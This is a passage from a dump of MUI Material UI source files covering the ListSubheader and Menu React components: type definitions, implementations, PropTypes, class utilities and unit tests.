    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { OverridableComponent, OverrideProps } from '../OverridableComponent';\nimport { ListSubheaderClasses } from './listSubheaderClasses';\n\nexport interface ListSubheaderOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ListSubheaderClasses> | undefined;\n  /**\n   * The color of the component. It supports those theme colors that make sense for this component.\n   * @default 'default'\n   */\n  color?: 'default' | 'primary' | 'inherit' | undefined;\n  /**\n   * If `true`, the List Subheader will not have gutters.\n   * @default false\n   */\n  disableGutters?: boolean | undefined;\n  /**\n   * If `true`, the List Subheader will not stick to the top during scroll.\n   * @default false\n   */\n  disableSticky?: boolean | undefined;\n  /**\n   * If `true`, the List Subheader is indented.\n   * @default false\n   */\n  inset?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ListSubheaderTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'li',\n> {\n  props: AdditionalProps & ListSubheaderOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Lists](https://next.mui.com/material-ui/react-list/)\n * - [Menubar](https://next.mui.com/material-ui/react-menubar/)\n *\n * API:\n *\n * - [ListSubheader API](https://next.mui.com/material-ui/api/list-subheader/)\n */\ndeclare const ListSubheader: OverridableComponent<ListSubheaderTypeMap>;\n\nexport type ListSubheaderProps<\n  RootComponent extends React.ElementType = ListSubheaderTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ListSubheaderTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default ListSubheader;\n"
  },
  {
    "path": "packages/mui-material/src/ListSubheader/ListSubheader.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport { getListSubheaderUtilityClass } from './listSubheaderClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, color, disableGutters, inset, disableSticky } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      color !== 'default' && `color${capitalize(color)}`,\n      !disableGutters && 'gutters',\n      inset && 'inset',\n      !disableSticky && 'sticky',\n    ],\n  };\n\n  return composeClasses(slots, getListSubheaderUtilityClass, classes);\n};\n\nconst ListSubheaderRoot = styled('li', {\n  name: 'MuiListSubheader',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.color !== 'default' && styles[`color${capitalize(ownerState.color)}`],\n      !ownerState.disableGutters && styles.gutters,\n      ownerState.inset && styles.inset,\n      !ownerState.disableSticky && styles.sticky,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    boxSizing: 'border-box',\n    lineHeight: '48px',\n    listStyle: 'none',\n    color: (theme.vars || theme).palette.text.secondary,\n    fontFamily: theme.typography.fontFamily,\n    fontWeight: theme.typography.fontWeightMedium,\n    fontSize: theme.typography.pxToRem(14),\n    variants: [\n      {\n        props: {\n          color: 'primary',\n        },\n        style: {\n          color: (theme.vars || theme).palette.primary.main,\n        },\n      },\n      {\n        props: {\n          color: 'inherit',\n        },\n        style: {\n          color: 'inherit',\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.disableGutters,\n        style: {\n          paddingLeft: 16,\n          paddingRight: 16,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.inset,\n        style: {\n          paddingLeft: 72,\n        },\n      },\n      {\n        props: ({ ownerState }) => !ownerState.disableSticky,\n        style: {\n          position: 'sticky',\n          top: 0,\n          zIndex: 1,\n          backgroundColor: (theme.vars || theme).palette.background.paper,\n        },\n      },\n    ],\n  })),\n);\n\nconst ListSubheader = React.forwardRef(function ListSubheader(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiListSubheader' });\n  const {\n    className,\n    color = 'default',\n    component = 'li',\n    disableGutters = false,\n    disableSticky = false,\n    inset = false,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    component,\n    disableGutters,\n    disableSticky,\n    inset,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <ListSubheaderRoot\n      as={component}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      ownerState={ownerState}\n      {...other}\n    />\n  );\n});\n\nif (ListSubheader) {\n  ListSubheader.muiSkipListHighlight = true;\n}\n\nListSubheader.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component. It supports those theme colors that make sense for this component.\n   * @default 'default'\n   */\n  color: PropTypes.oneOf(['default', 'inherit', 'primary']),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the List Subheader will not have gutters.\n   * @default false\n   */\n  disableGutters: PropTypes.bool,\n  /**\n   * If `true`, the List Subheader will not stick to the top during scroll.\n   * @default false\n   */\n  disableSticky: PropTypes.bool,\n  /**\n   * If `true`, the List Subheader is indented.\n   * @default false\n   */\n  inset: PropTypes.bool,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default ListSubheader;\n"
  },
  {
    "path": "packages/mui-material/src/ListSubheader/ListSubheader.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer } from '@mui/internal-test-utils';\nimport ListSubheader, { listSubheaderClasses as classes } from '@mui/material/ListSubheader';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<ListSubheader />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<ListSubheader />, () => ({\n    classes,\n    inheritComponent: 'li',\n    render,\n    muiName: 'MuiListSubheader',\n    refInstanceof: window.HTMLLIElement,\n    testVariantProps: { disableGutters: true },\n  }));\n\n  it('should display primary color', () => {\n    const { container } = render(<ListSubheader color=\"primary\" />);\n\n    expect(container.firstChild).to.have.class(classes.colorPrimary);\n    expect(container.firstChild).to.have.class(classes.root);\n  });\n\n  it('should display inset class', () => {\n    const { container } = render(<ListSubheader inset />);\n\n    expect(container.firstChild).to.have.class(classes.inset);\n    expect(container.firstChild).to.have.class(classes.root);\n  });\n\n  describe('prop: disableSticky', () => {\n    it('should display sticky class', () => {\n      const { container } = render(<ListSubheader />);\n\n      expect(container.firstChild).to.have.class(classes.sticky);\n    });\n\n    it('should not display sticky class', () => {\n      const { container } = render(<ListSubheader disableSticky />);\n\n      expect(container.firstChild).not.to.have.class(classes.sticky);\n    });\n  });\n\n  describe('prop: disableGutters', () => {\n    it('should not display gutters class', () => {\n      const { container } = render(<ListSubheader disableGutters />);\n\n      expect(container.firstChild).not.to.have.class(classes.gutters);\n    });\n\n    it('should display gutters class', () => {\n      const { container } = render(<ListSubheader />);\n\n      expect(container.firstChild).to.have.class(classes.gutters);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/ListSubheader/index.d.ts",
    "content": "export { default } from './ListSubheader';\nexport * from './ListSubheader';\n\nexport { default as listSubheaderClasses } from './listSubheaderClasses';\nexport * from './listSubheaderClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListSubheader/index.js",
    "content": "export { default } from './ListSubheader';\n\nexport { default as listSubheaderClasses } from './listSubheaderClasses';\nexport * from './listSubheaderClasses';\n"
  },
  {
    "path": "packages/mui-material/src/ListSubheader/listSubheaderClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface ListSubheaderClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the root element if `color=\"inherit\"`. */\n  colorInherit: string;\n  /** Styles applied to the inner `component` element unless `disableGutters={true}`. */\n  gutters: string;\n  /** Styles applied to the root element if `inset={true}`. */\n  inset: string;\n  /** Styles applied to the root element unless `disableSticky={true}`. */\n  sticky: string;\n}\n\nexport type ListSubheaderClassKey = keyof ListSubheaderClasses;\n\nexport function getListSubheaderUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiListSubheader', slot);\n}\n\nconst listSubheaderClasses: ListSubheaderClasses = generateUtilityClasses('MuiListSubheader', [\n  'root',\n  'colorPrimary',\n  'colorInherit',\n  'gutters',\n  'inset',\n  'sticky',\n]);\n\nexport default listSubheaderClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Menu/Menu.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { PaperProps } from '../Paper';\nimport { PopoverProps } from '../Popover';\nimport { MenuListProps } from '../MenuList';\nimport { ModalProps } from '../Modal';\nimport { BackdropProps } from '../Backdrop';\nimport { TransitionProps } from '../transitions/transition';\nimport { MenuClasses } from './menuClasses';\nimport { CreateSlotsAndSlotProps, SlotComponentProps, SlotProps } from '../utils/types';\n\nexport interface MenuRootSlotPropsOverrides {}\n\nexport interface MenuPaperSlotPropsOverrides {}\n\nexport interface MenuTransitionSlotPropsOverrides {}\n\nexport interface MenuListSlotPropsOverrides {}\n\nexport interface MenuBackdropSlotPropsOverrides {}\n\nexport interface MenuSlots {\n  /**\n   * The component used for the popper.\n   * @default Modal\n   */\n  root: React.ElementType;\n  /**\n   * The component used for the paper.\n   * @default PopoverPaper\n   */\n  paper: React.ElementType;\n  /**\n   * The component used for the list.\n   * @default MenuList\n   */\n  list: React.ElementType;\n  /**\n   * The component used for the transition slot.\n   * @default Grow\n   */\n  transition: React.ElementType;\n  /**\n   * The component used for the backdrop slot.\n   * @default Backdrop\n   */\n  backdrop: React.ElementType;\n}\n\nexport type MenuSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  MenuSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the [Popover](https://mui.com/material-ui/api/popover/#props) component.\n     */\n    root: SlotProps<React.ElementType<ModalProps>, MenuRootSlotPropsOverrides, MenuOwnerState>;\n    /**\n     * Props forwarded to the paper slot.\n     * By default, the available props are based on the [Paper](https://mui.com/material-ui/api/paper/#props) component.\n     */\n    paper: SlotProps<React.ElementType<PaperProps>, MenuPaperSlotPropsOverrides, MenuOwnerState>;\n    /**\n     * Props forwarded to the list slot.\n     * By default, the available props are based on the [MenuList](https://mui.com/material-ui/api/menu-list/#props) component.\n     */\n    list: SlotProps<React.ElementType<MenuListProps>, MenuListSlotPropsOverrides, MenuOwnerState>;\n    /**\n     * Props forwarded to the transition slot.\n     * By default, the available props are based on the [Grow](https://mui.com/material-ui/api/grow/#props) component.\n     */\n    transition: SlotComponentProps<\n      // use SlotComponentProps because transition slot does not support `component` and `sx` prop\n      React.ElementType<TransitionProps>,\n      TransitionProps & MenuTransitionSlotPropsOverrides,\n      MenuOwnerState\n    >;\n    /**\n     * Props forwarded to the backdrop slot.\n     * By default, the available props are based on the [Backdrop](https://mui.com/material-ui/api/backdrop/#props) component.\n     */\n    backdrop: SlotProps<\n      React.ElementType<BackdropProps>,\n      MenuBackdropSlotPropsOverrides,\n      MenuOwnerState\n    >;\n  }\n>;\n\nexport interface MenuProps\n  extends StandardProps<Omit<PopoverProps, 'slots' | 'slotProps'>>, MenuSlotsAndSlotProps {\n  /**\n   * An HTML element, or a function that returns one.\n   * It's used to set the position of the menu.\n   */\n  anchorEl?: PopoverProps['anchorEl'] | undefined;\n  /**\n   * If `true` (Default) will focus the `[role=\"menu\"]` if no focusable child is found. Disabled\n   * children are not focusable. If you set this prop to `false` focus will be placed\n   * on the parent modal container. This has severe accessibility implications\n   * and should only be considered if you manage focus otherwise.\n   * @default true\n   */\n  autoFocus?: boolean | undefined;\n  /**\n   * Menu contents, normally `MenuItem`s.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<MenuClasses> | undefined;\n  /**\n   * When opening the menu will not focus the active item but the `[role=\"menu\"]`\n   * unless `autoFocus` is also set to `false`. Not using the default means not\n   * following WAI-ARIA authoring practices. Please be considerate about possible\n   * accessibility implications.\n   * @default false\n   */\n  disableAutoFocusItem?: boolean | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"escapeKeyDown\"`, `\"backdropClick\"`, `\"tabKeyDown\"`.\n   */\n  onClose?: PopoverProps['onClose'] | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open: boolean;\n  /**\n   * `classes` prop applied to the [`Popover`](https://mui.com/material-ui/api/popover/) element.\n   */\n  PopoverClasses?: PopoverProps['classes'] | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The length of the transition in `ms`, or 'auto'\n   * @default 'auto'\n   */\n  transitionDuration?: TransitionProps['timeout'] | 'auto' | undefined;\n  /**\n   * The variant to use. Use `menu` to prevent selected items from impacting the initial focus.\n   * @default 'selectedMenu'\n   */\n  variant?: 'menu' | 'selectedMenu' | undefined;\n}\n\nexport interface MenuOwnerState extends Omit<MenuProps, 'slots' | 'slotProps'> {}\n\nexport declare const MenuPaper: React.FC<PaperProps>;\n\n/**\n *\n * Demos:\n *\n * - [App Bar](https://next.mui.com/material-ui/react-app-bar/)\n * - [Menu](https://next.mui.com/material-ui/react-menu/)\n *\n * API:\n *\n * - [Menu API](https://next.mui.com/material-ui/api/menu/)\n * - inherits [Popover API](https://next.mui.com/material-ui/api/popover/)\n */\nexport default function Menu(props: MenuProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Menu/Menu.js",
    "content": "'use client';\nimport * as React from 'react';\nimport { isFragment } from 'react-is';\nimport PropTypes from 'prop-types';\nimport composeClasses from '@mui/utils/composeClasses';\nimport HTMLElementType from '@mui/utils/HTMLElementType';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport useSlotProps from '@mui/utils/useSlotProps';\nimport MenuList from '../MenuList';\nimport Popover, { PopoverPaper } from '../Popover';\nimport rootShouldForwardProp from '../styles/rootShouldForwardProp';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport { getMenuUtilityClass } from './menuClasses';\nimport useSlot from '../utils/useSlot';\n\nconst RTL_ORIGIN = {\n  vertical: 'top',\n  horizontal: 'right',\n};\n\nconst LTR_ORIGIN = {\n  vertical: 'top',\n  horizontal: 'left',\n};\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    paper: ['paper'],\n    list: ['list'],\n  };\n\n  return composeClasses(slots, getMenuUtilityClass, classes);\n};\n\nconst MenuRoot = styled(Popover, {\n  shouldForwardProp: (prop) => rootShouldForwardProp(prop) || prop === 'classes',\n  name: 'MuiMenu',\n  slot: 'Root',\n})({});\n\nexport const MenuPaper = styled(PopoverPaper, {\n  name: 'MuiMenu',\n  slot: 'Paper',\n})({\n  // specZ: The maximum height of a simple menu should be one or more rows less than the view\n  // height. This ensures a tappable area outside of the simple menu with which to dismiss\n  // the menu.\n  maxHeight: 'calc(100% - 96px)',\n  // Add iOS momentum scrolling for iOS < 13.0\n  WebkitOverflowScrolling: 'touch',\n});\n\nconst MenuMenuList = styled(MenuList, {\n  name: 'MuiMenu',\n  slot: 'List',\n})({\n  // We disable the focus ring for mouse, touch and keyboard users.\n  outline: 0,\n});\n\nconst Menu = React.forwardRef(function Menu(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiMenu' });\n\n  const {\n    autoFocus = true,\n    children,\n    className,\n    disableAutoFocusItem = false,\n    onClose,\n    open,\n    PopoverClasses,\n    transitionDuration = 'auto',\n    variant = 'selectedMenu',\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const isRtl = useRtl();\n\n  const ownerState = {\n    ...props,\n    autoFocus,\n    disableAutoFocusItem,\n    transitionDuration,\n    variant,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const autoFocusItem = autoFocus && !disableAutoFocusItem && open;\n\n  const menuListActionsRef = React.useRef(null);\n\n  const handleEntering = (element, _isAppearing) => {\n    if (menuListActionsRef.current) {\n      menuListActionsRef.current.adjustStyleForScrollbar(element, {\n        direction: isRtl ? 'rtl' : 'ltr',\n      });\n    }\n  };\n\n  const handleListKeyDown = (event) => {\n    if (event.key === 'Tab') {\n      event.preventDefault();\n\n      if (onClose) {\n        onClose(event, 'tabKeyDown');\n      }\n    }\n  };\n\n  /**\n   * the index of the item should receive focus\n   * in a `variant=\"selectedMenu\"` it's the first `selected` item\n   * otherwise it's the very first item.\n   */\n  let activeItemIndex = -1;\n  // since we inject focus related props into children we have to do a lookahead\n  // to check if there is a `selected` item. We're looking for the last `selected`\n  // item and use the first valid item as a fallback\n  React.Children.map(children, (child, index) => {\n    if (!React.isValidElement(child)) {\n      return;\n    }\n\n    if (process.env.NODE_ENV !== 'production') {\n      if (isFragment(child)) {\n        console.error(\n          [\n            \"MUI: The Menu component doesn't accept a Fragment as a child.\",\n            'Consider providing an array instead.',\n          ].join('\\n'),\n        );\n      }\n    }\n\n    if (!child.props.disabled) {\n      if (variant === 'selectedMenu' && child.props.selected) {\n        activeItemIndex = index;\n      } else if (activeItemIndex === -1) {\n        activeItemIndex = index;\n      }\n    }\n  });\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const rootSlotProps = useSlotProps({\n    elementType: slots.root,\n    externalSlotProps: slotProps.root,\n    ownerState,\n    className: [classes.root, className],\n  });\n\n  const [PaperSlot, paperSlotProps] = useSlot('paper', {\n    className: classes.paper,\n    elementType: MenuPaper,\n    externalForwardedProps,\n    shouldForwardComponentProp: true,\n    ownerState,\n  });\n\n  const [ListSlot, listSlotProps] = useSlot('list', {\n    className: classes.list,\n    elementType: MenuMenuList,\n    shouldForwardComponentProp: true,\n    externalForwardedProps,\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onKeyDown: (event) => {\n        handleListKeyDown(event);\n        handlers.onKeyDown?.(event);\n      },\n    }),\n    ownerState,\n  });\n\n  const resolvedTransitionProps =\n    typeof slotProps.transition === 'function'\n      ? slotProps.transition(ownerState)\n      : slotProps.transition;\n\n  return (\n    <MenuRoot\n      onClose={onClose}\n      anchorOrigin={{\n        vertical: 'bottom',\n        horizontal: isRtl ? 'right' : 'left',\n      }}\n      transformOrigin={isRtl ? RTL_ORIGIN : LTR_ORIGIN}\n      slots={{\n        root: slots.root,\n        paper: PaperSlot,\n        backdrop: slots.backdrop,\n        transition: slots.transition,\n      }}\n      slotProps={{\n        root: rootSlotProps,\n        paper: paperSlotProps,\n        backdrop:\n          typeof slotProps.backdrop === 'function'\n            ? slotProps.backdrop(ownerState)\n            : slotProps.backdrop,\n        transition: {\n          ...resolvedTransitionProps,\n          onEntering: (...args) => {\n            handleEntering(...args);\n            resolvedTransitionProps?.onEntering?.(...args);\n          },\n        },\n      }}\n      open={open}\n      ref={ref}\n      transitionDuration={transitionDuration}\n      ownerState={ownerState}\n      {...other}\n      classes={PopoverClasses}\n    >\n      <ListSlot\n        actions={menuListActionsRef}\n        autoFocus={autoFocus && (activeItemIndex === -1 || disableAutoFocusItem)}\n        autoFocusItem={autoFocusItem}\n        variant={variant}\n        {...listSlotProps}\n      >\n        {children}\n      </ListSlot>\n    </MenuRoot>\n  );\n});\n\nMenu.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * An HTML element, or a function that returns one.\n   * It's used to set the position of the menu.\n   */\n  anchorEl: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    HTMLElementType,\n    PropTypes.func,\n  ]),\n  /**\n   * If `true` (Default) will focus the `[role=\"menu\"]` if no focusable child is found. Disabled\n   * children are not focusable. If you set this prop to `false` focus will be placed\n   * on the parent modal container. This has severe accessibility implications\n   * and should only be considered if you manage focus otherwise.\n   * @default true\n   */\n  autoFocus: PropTypes.bool,\n  /**\n   * Menu contents, normally `MenuItem`s.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * When opening the menu will not focus the active item but the `[role=\"menu\"]`\n   * unless `autoFocus` is also set to `false`. Not using the default means not\n   * following WAI-ARIA authoring practices. Please be considerate about possible\n   * accessibility implications.\n   * @default false\n   */\n  disableAutoFocusItem: PropTypes.bool,\n  /**\n   * Callback fired when the component requests to be closed.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"escapeKeyDown\"`, `\"backdropClick\"`, `\"tabKeyDown\"`.\n   */\n  onClose: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * `classes` prop applied to the [`Popover`](https://mui.com/material-ui/api/popover/) element.\n   */\n  PopoverClasses: PropTypes.object,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    backdrop: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    list: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    paper: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    backdrop: PropTypes.elementType,\n    list: PropTypes.elementType,\n    paper: PropTypes.elementType,\n    root: PropTypes.elementType,\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The length of the transition in `ms`, or 'auto'\n   * @default 'auto'\n   */\n  transitionDuration: PropTypes.oneOfType([\n    PropTypes.oneOf(['auto']),\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n  /**\n   * The variant to use. Use `menu` to prevent selected items from impacting the initial focus.\n   * @default 'selectedMenu'\n   */\n  variant: PropTypes.oneOf(['menu', 'selectedMenu']),\n};\n\nexport default Menu;\n"
  },
  {
    "path": "packages/mui-material/src/Menu/Menu.spec.tsx",
    "content": "import Menu, { MenuProps } from '@mui/material/Menu';\n\n// slotProps.transition should reject unknown props\n<Menu\n  open\n  slotProps={{\n    // @ts-expect-error — unknown props should be rejected\n    transition: { randomInvalidProp: 'test' },\n  }}\n/>;\n\n<Menu\n  open\n  slotProps={{\n    root: {\n      // passed to Modal\n      disablePortal: true,\n      className: 'flex',\n    },\n    paper: {\n      // passed to Paper\n      elevation: 0,\n      className: 'flex',\n    },\n    list: {\n      // passed to MenuList\n      disablePadding: true,\n      className: 'flex',\n    },\n    backdrop: {\n      // passed to Backdrop\n      invisible: true,\n      className: 'flex',\n    },\n    transition: {\n      // passed to Transition\n      timeout: 200,\n    },\n  }}\n/>;\n\n<Menu\n  open\n  slots={{\n    root: 'div',\n    paper: 'div',\n    list: 'div',\n    backdrop: 'div',\n    transition: 'div',\n  }}\n/>;\n\nfunction Custom(props: MenuProps) {\n  const { slotProps, ...dialogProps } = props;\n  return (\n    <Menu\n      slotProps={{\n        ...slotProps,\n        transition: (ownerState) => {\n          const transitionProps =\n            typeof slotProps?.transition === 'function'\n              ? slotProps.transition(ownerState)\n              : slotProps?.transition;\n          return {\n            ...transitionProps,\n            onExited: (node) => {\n              transitionProps?.onExited?.(node);\n            },\n          };\n        },\n      }}\n      {...dialogProps}\n    >\n      test\n    </Menu>\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Menu/Menu.test.js",
    "content": "import * as React from 'react';\nimport { spy } from 'sinon';\nimport { expect } from 'chai';\nimport {\n  createRenderer,\n  screen,\n  fireEvent,\n  strictModeDoubleLoggingSuppressed,\n  reactMajor,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport Menu, { menuClasses as classes } from '@mui/material/Menu';\nimport Popover from '@mui/material/Popover';\nimport { modalClasses } from '@mui/material/Modal';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\nimport { paperClasses } from '../Paper';\n\nconst CustomTransition = React.forwardRef(function CustomTransition(\n  { in: inProp, appear, onEnter, onEntering, onExited, ownerState, ...props },\n  ref,\n) {\n  return <div data-testid=\"custom\" ref={ref} {...props} />;\n});\n\ndescribe('<Menu />', () => {\n  const { render } = createRenderer({ clock: 'fake' });\n\n  let defaultAnchorEl;\n  beforeAll(() => {\n    defaultAnchorEl = document.createElement('div');\n    document.body.appendChild(defaultAnchorEl);\n  });\n  afterAll(() => {\n    document.body.removeChild(defaultAnchorEl);\n    defaultAnchorEl = null;\n  });\n\n  describeConformance(<Menu anchorEl={() => defaultAnchorEl} open />, () => ({\n    classes,\n    inheritComponent: Popover,\n    render,\n    muiName: 'MuiMenu',\n    refInstanceof: window.HTMLDivElement,\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n      },\n      paper: {\n        expectedClassName: classes.paper,\n      },\n      list: {\n        expectedClassName: classes.list,\n        testWithElement: null, // already tested with `testWithComponent`\n      },\n      backdrop: {\n        expectedClassName: modalClasses.backdrop,\n        testWithElement: React.forwardRef(({ invisible, ownerState, ...props }, ref) => (\n          <i ref={ref} {...props} />\n        )),\n      },\n      transition: {\n        expectedClassName: null,\n        testWithComponent: CustomTransition,\n        testWithElement: CustomTransition,\n      },\n    },\n    testDeepOverrides: { slotName: 'list', slotClassName: classes.list },\n    testRootOverrides: { slotName: 'root', slotClassName: classes.root },\n    testVariantProps: { variant: 'menu' },\n    skip: [\n      'rootClass', // portal, can't determine the root\n      'componentProp',\n      'themeDefaultProps', // portal, can't determine the root\n    ],\n  }));\n\n  describe('event callbacks', () => {\n    describe('entering', () => {\n      it('should fire callbacks', () => {\n        const handleEnter = spy();\n        const handleEntering = spy();\n        render(\n          <Menu\n            anchorEl={defaultAnchorEl}\n            open\n            slotProps={{\n              transition: {\n                onEnter: handleEnter,\n                onEntering: handleEntering,\n              },\n            }}\n          />,\n        );\n\n        expect(handleEnter.callCount).to.equal(\n          // onEnter is called on mount which is run twice with Strict Effects\n          reactMajor >= 18 ? 2 : 1,\n        );\n        expect(handleEnter.args[0].length).to.equal(2);\n        expect(handleEntering.callCount).to.equal(1);\n        expect(handleEntering.args[0].length).to.equal(2);\n      });\n    });\n\n    describe('exiting', () => {\n      it('should fire callbacks', () => {\n        const handleExit = spy();\n        const handleExiting = spy();\n\n        const { setProps } = render(\n          <Menu\n            slotProps={{\n              transition: {\n                onExit: handleExit,\n                onExiting: handleExiting,\n              },\n            }}\n            anchorEl={defaultAnchorEl}\n            open\n          />,\n        );\n\n        setProps({\n          open: false,\n        });\n\n        expect(handleExit.callCount).to.equal(1);\n        expect(handleExit.args[0].length).to.equal(1);\n        expect(handleExiting.callCount).to.equal(1);\n        expect(handleExiting.args[0].length).to.equal(1);\n      });\n    });\n  });\n\n  it('should pass `classes.paper` to the Paper', () => {\n    render(\n      <Menu anchorEl={defaultAnchorEl} open slotProps={{ paper: { 'data-testid': 'paper' } }} />,\n    );\n\n    expect(screen.getByTestId('paper')).to.have.class(classes.paper);\n  });\n\n  describe('prop: PopoverClasses', () => {\n    it('should be able to change the Popover style', () => {\n      render(\n        <Menu\n          anchorEl={defaultAnchorEl}\n          open\n          slotProps={{ paper: { 'data-testid': 'paper' } }}\n          PopoverClasses={{ paper: 'bar' }}\n        />,\n      );\n\n      expect(screen.getByTestId('paper')).to.have.class('bar');\n    });\n\n    it('should be able to change the Popover root element style when Menu classes prop is also provided', () => {\n      render(\n        <Menu\n          anchorEl={defaultAnchorEl}\n          open\n          data-testid=\"popover\"\n          classes={{ paper: 'bar' }}\n          PopoverClasses={{ root: 'foo' }}\n        />,\n      );\n      expect(screen.getByTestId('popover')).to.have.class('foo');\n    });\n  });\n\n  describe('slotProps: paper', () => {\n    it('should be passed to the paper component', () => {\n      const customElevation = 12;\n      const customClasses = { rounded: 'custom-rounded' };\n\n      render(\n        <Menu\n          anchorEl={defaultAnchorEl}\n          open\n          slotProps={{\n            paper: {\n              'data-testid': 'paper',\n              elevation: customElevation,\n              classes: customClasses,\n            },\n          }}\n        />,\n      );\n\n      